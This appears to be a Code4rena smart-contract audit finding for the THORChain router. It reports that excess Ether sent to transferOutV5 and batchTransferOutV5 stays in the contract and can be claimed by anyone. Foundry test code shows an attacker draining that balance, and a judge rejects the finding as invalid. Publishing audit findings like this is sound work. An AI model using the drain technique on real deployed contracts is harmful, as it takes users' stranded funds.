Excess Ether Not Returned in `transferOutV5` and `batchTransferOutV5` Functions

[c4-bot-10]

Lines of code

https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L391 https://github.com/code-423n4/2024-06-thorchain/blob/e3fd3c75ff994dce50d6eb66eb290d467bd494f5/ethereum/contracts/THORChain_Router.sol#L397

Vulnerability details

Impact

The transferOutV5 and batchTransferOutV5 functions in the THORChain_Router contract do not return excess Ether to the sender when the amount of Ether sent (msg.value) exceeds the specified transfer amount (transferOutPayload.amount). This oversight leaves excess Ether in the contract, which can be subsequently retrieved by any user, including malicious actors. This can lead to a significant loss of funds and potentially disrupt the normal operations of the contract.

Proof of Concept

The vulnerability can be demonstrated by sending more Ether than the specified transfer amount in a call to transferOutV5. The excess Ether remains in the contract and can be taken by any subsequent user.

Test Case (Foundry)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.22;

import {Test, console} from "forge-std/Test.sol";
import "../contracts/THORChain_Router.sol";

contract RouterPOC is Test {
    THORChain_Router public router;
    address public vault;

    function setUp() public {
        router = new THORChain_Router();
        vault = makeAddr("VAULT1");
    }

    function testPoC_transferOutV5_doseNotReturnExcessEther() public {
        deal(vault, 2e18);

        // vault call transfer out with excess native tokens (send value more than the data amount)
        THORChain_Router.TransferOutData memory data;
        data = THORChain_Router.TransferOutData(
            payable(makeAddr("to")),
            address(0), // native token
            1.5e18,
            ""
        );

        vm.prank(vault);
        // sending (2e18) while processing less (1.5e18)
        router.transferOutV5{value: 2e18}(data);

        assertEq(address(router).balance, .5e18);

        // now any one can takes any excess tokens in the router, leaved by vaults.
        address attacker = makeAddr("Attacker");
        data.to = payable(attacker);
        data.amount = address(router).balance;

        vm.prank(attacker);
        router.transferOutV5{value: 0}(data);

        assertEq(attacker.balance, .5e18);
    }

    function testPoC_batchTransferOutV5_doseNotReturnExcessEther() public {
        deal(vault, 3e18);

        // vault call transfer out with excess native tokens (send value more than the data amount)
        THORChain_Router.TransferOutData[] memory data = new THORChain_Router.TransferOutData[](2);
        data[0] = THORChain_Router.TransferOutData(
            payable(makeAddr("to1")),
            address(0), // native token
            1e18,
            ""
        );
        data[1] = THORChain_Router.TransferOutData(
            payable(makeAddr("to2")),
            address(0), // native token
            1e18,
            ""
        );

        vm.prank(vault);
        // sending (3e18) while processing less (2e18)
        router.batchTransferOutV5{value: 3e18}(data);

        assertEq(address(router).balance, 1e18);

        // now any one can takes any excess tokens in the router, leaved by vaults.
        address attacker = makeAddr("Attacker");
        data[0].to = payable(attacker);
        data[0].amount = address(router).balance;

        vm.prank(attacker);
        router.transferOutV5{value: 0}(data[0]);

        assertEq(attacker.balance, 1e18);
    }
}

Tools Used

• Foundry

Recommended Mitigation Steps

To prevent this vulnerability, the transferOutV5 and batchTransferOutV5 function should be modified to handle excess Ether correctly. One approach is to revert the transaction if excess Ether is sent, ensuring that the contract does not retain any unclaimed Ether. Alternatively, the contract could be modified to automatically refund any excess Ether to the sender (the vault).

Assessed type

Other

[c4-judge]

trust1995 marked the issue as unsatisfactory: Invalid

[khalidfsh]

Thank you for reviewing my report. I would like to provide further clarification on the issue to highlight its validity and potential impact.

In the transferOutV5() and batchTransferOutV5() functions allows excess Ether sent during a transaction to remain in the contract. This excess Ether can be subsequently retrieved by any user, including malicious actors, by executing transferOutV5 without any actual Ether amount sent while executing (which is proofed under poc section), leading to unintended loss of funds.

I kindly request reconsideration of this finding, as addressing this issue will enhance the contract's robustness and protect user funds.

[trust1995]

Hi, the issue is well understood. However, the standard judging practice is to assume user is not reckless and will not send an incorrect amount of ETH in the contract.

[khalidfsh]

Thank you for your response and for clarifying the standard judging practice. I appreciate your point regarding user behavior.

However, I would like to emphasize that the transferOutV5 function is primarily intended to be called by THORChain vaults. These calls are the culmination of a series of procedures, which, whether by human or machine error, could result in an incorrect Ether amount being sent.

In examining the transferOut and other functions in the V4 version, it is evident that these functions do not tolerate such discrepancies, indicating that errors can and do occur. Therefore, it seemed prudent to highlight this issue to prevent potential disruptions.

My intention with this report was to enhance the robustness of the contract and ensure the security of user funds. While user error is always a factor, the potential for this issue to be exploited in a malicious context should not be overlooked.

I appreciate your time and effort.